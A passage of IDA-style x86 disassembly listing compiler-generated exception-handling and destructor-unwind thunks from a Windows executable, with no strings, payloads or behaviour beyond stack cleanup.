loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 90C84D8Dh, 0C556CCE9h
		db 75h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset dword_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E2F0	proc near		; DATA XREF: sub_40E2F0+2o
		mov	eax, offset dword_440670
		jmp	sub_437AB8
SEH_40E2F0	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A278:				; DATA XREF: ___:004406F4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40E870	proc near		; DATA XREF: sub_40E870+2o
		mov	eax, offset dword_4406C8
		jmp	sub_437AB8
SEH_40E870	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A2C8:				; DATA XREF: ___:0044074Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40ED00	proc near		; DATA XREF: sub_40ED00+2o
		mov	eax, offset dword_440720
		jmp	sub_437AB8
SEH_40ED00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
